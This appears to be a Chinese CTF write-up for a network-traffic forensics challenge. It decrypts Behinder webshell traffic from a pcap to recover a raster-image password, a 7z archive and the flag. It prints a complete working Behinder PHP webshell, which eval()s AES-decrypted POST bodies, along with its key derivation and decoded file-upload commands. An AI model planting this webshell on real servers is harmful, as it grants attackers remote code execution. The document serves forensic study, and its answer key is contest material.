2023第六届浙江省大学生网络与信息安全竞赛-Misc
城南花已开 Lv5

NewGrating

流量分析题

拿到附件,首先看到了文件为蝎子.pcapng很显然给了我们提示,大概率是冰蝎Behinder的流量分析

文件总体不大就4667个分组

image

我首先过滤了http流就在第一个流stream 0中发现传了个webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@error_reporting(0);
session_start();
// $key="e45e329feb5d925b"; //........................32...md5.........16........................rebeyond
$key="e46023a69f8db309"; //DASCTF
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

这是很经典的冰蝎3.0加密算法特征,key给我们了就是e46023a69f8db309密码是DASCTF我们也可以验证一下,冰蝎的AES密钥key为连接密码的md5前16位

1
2
echo -n "DASCTF" |md5sum|awk '{print substr ($0,1,16)}'
e46023a69f8db309

那就尝试找到传完webshell后执行命令的包

image

我们直接将请求包中的密文copy下来,拿到这加密后的文本那我们咋如何解密呢?

这就又用到经典厨师了CyberChef,先将密文base64解码后再进行AES 128解密,其中的key就填入上文获取到的key,冰蝎的默认初始化向量(IV)是0123456789abcdef也是16位和key相同

image

这样我们就得到了解密后的文本,不过这个文本需要再次进行``base64`解码,将括号内的文本再次解密后得到最终的内容

image

不过没什么价值,我们继续跟踪流,在追踪到流stream 4时发现除了第一段的请求包,其他段的请求包内容都异常的大,很难用鼠标慢慢复制下来,我们可以使用wiresahrk的另存为功能,单独将ip为225.1发给225.129的对话保存下来

image

这边我利用Visual Studio Code打开,虽然还是有点卡卡的,找到第二段从第25行开始到结束

image

这边有个小技巧就是在行的开头按住shift键再按两下End键即可全部选中25行的内容,不过需要删除末尾留存的POST ....

image

再次copy到CyberChef二次解密后得到内容

image

1
2
$mode="dXBkYXRl";$mode=base64_decode($mode);$path="L3d3dy9hZG1pbi93d3cud2Vic2hlbGwuY29tXzgwL3d3d3Jvb3QvdXBsb2FkL1Bhc3N3b3JkLnBuZw==";$path=base64_decode($path);$hash="";$blockIndex="MA==";$blockIndex=base64_decode($blockIndex);$blockSize="MzA3MjA=";$blockSize=base64_decode($blockSize);$content="aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQWxnQUFBRXNDQVlBQUFBZlBjMldBQUFQcTBsRVFWUjRuTzNkMjVLck5nSUYwRDVUOC8rLzNGT25VbDNUNVdBc3BLMGJyUFdTeEdrYkxDU3hFVUwrOC8zOS9mMEZBRURNZnhRbEFFQ1dnQVVBRUNaZ0FRQ0VDVmdBQUdFQ0ZnQkFtSUFGQUJBbVlBRUFoQWxZQUFCaEFoWUFRSmlBQlFBUUptQUJBSVFKV0FBQVlRSVdBRUNZZ0FVQUVDWmdBUUNFQ1ZnQUFHRUNGZ0JBbUlBRkFCQW1ZQUVBaEFsWUFBQmhBaFlBUUppQUJRQVFKbUFCQUlRSldBQUFZUUlXQUVDWWdBVUFFQ1pnQVFDRUNWZ0FBR0VDRmdCQW1JQUZBQkFtWUFFQWhBbFlBQUJoQWhZQVFKaUFCUUFRSm1BQkFJUUpXQUFBWVFJV0FFQ1lnQVVBRUNaZ0FRQ0VDVmdBQUdFQ0ZnQkFtSUFGQUJBbVlBRUFoQWxZQUFCaEFoWUFRSmlBQlFBUUptQUJBSVFKV0FBQVlRSVdBRUNZZ0FVQUVDWmdBUUNFQ1ZnQUFHRUNGZ0JBbUlBRkFCQW1ZQUVBaEFsWUFBQmhBaFlBUUppQUJRQVFKbUFCQUlRSldBQUFZUUlXQUVDWWdBVUFFQ1pnQVFDRUNWZ0FBR0VDRmdCQW1JQUZBQkFtWUFFQWhBbFlBQUJoQWhZQVFKaUFCUUFRSm1BQkFJUUp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0FBRENCQ3dBZ0RBQkN3QWdUTUFDQUFnVHNBQUF3Z1FzQUlBd0FRc0FJRXpBQWdBSUU3QUFBTUlFTEFDQU1BRUxBQ0JNd0FJQUNCT3dBQURDQkN3QWdEQUJDd0FnVE1BQ0FBZ1RzQUFBd2dRc0FJQXdBUXNBSUV6QUFnQUlFN0FBQU1JRUxBQ0FNQUVMQUNEcDYrdnJmMDJLbTFYVlNKVmZBQUFBQUVsRlRrU3VRbUND";$content=base64_decode($content);$charset="";$newpath="";$createTimeStamp="";$accessTimeStamp="";$modifyTimeStamp="";
main($mode,$path,$hash,$blockIndex,$blockSize,$content,$charset,$newpath,$createTimeStamp,$accessTimeStamp,$modifyTimeStamp);

内容中有个content我们需要再次进行base64解码,其实其他的变量你也可以尝试base64解码

类如我解码了path变量得到一个关键信息,得知应该是一张含有Password的图片

image

解密content果然得到一张图片,但密码信息是隐含的

image

我们再次尝试跟踪流stream 4剩余段,在Visual Studio Code第61行中的密文解密后的内容中发现了content解码后含有7z有关信息,是个压缩包,大概率上图的Password对应的就是下面压缩包的密码

1
$content="TjNxOHJ5Y2NBQVRxLzdOWU1BQUFBQUFBQUFCcUFBQUFBQUFBQUdIOTN1SjRGaG1xUGJtb2lBOVVyblkzQjAxTU0vQkdqZFJDN2NwK0VzSTg4Uk9UZ0R0QTdpOGpXWGkzSGl4MWFpTkNpRm9CQkFZQUFRa3dBQWNMQVFBQ0pBYnhCd0VTVXcrNkZKa29NL1RPTkFPZlAxVXk3dGVmSVNFQkFBRUFEREFzQUFnS0FVSnpRYUFBQUFVQkdRRUFFUk1BWmdCc0FHRUFad0F1QUhRQWVBQjBBQUFBR1FBVUNnRUFvaENQWEM1cTJRRVZCZ0VBSUFBQUFBQUE="

image

我们利用CyberChef保存功能,另存为zip文件,打开果然需要密码,但上文图片的Password如何获取呢,经过搜索引擎查询得知,上方图片是个光栅图片,何为光栅呢,这里引用群里大佬的解释

image

顺便在Github上找到秒杀光栅图片的脚本

AabyssZG/Raster-Terminator: CTF之光栅图秒杀器

image

image

感谢CTF大手子Phantom Engage的解答,那就直接用脚本跑就完了,轻而易举拿到了Password

image

image

用密码解压压缩包,即可得到flag

DASCTF{d68b6013-d70a-4ada-926d-68fe3265360a}

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 258.9k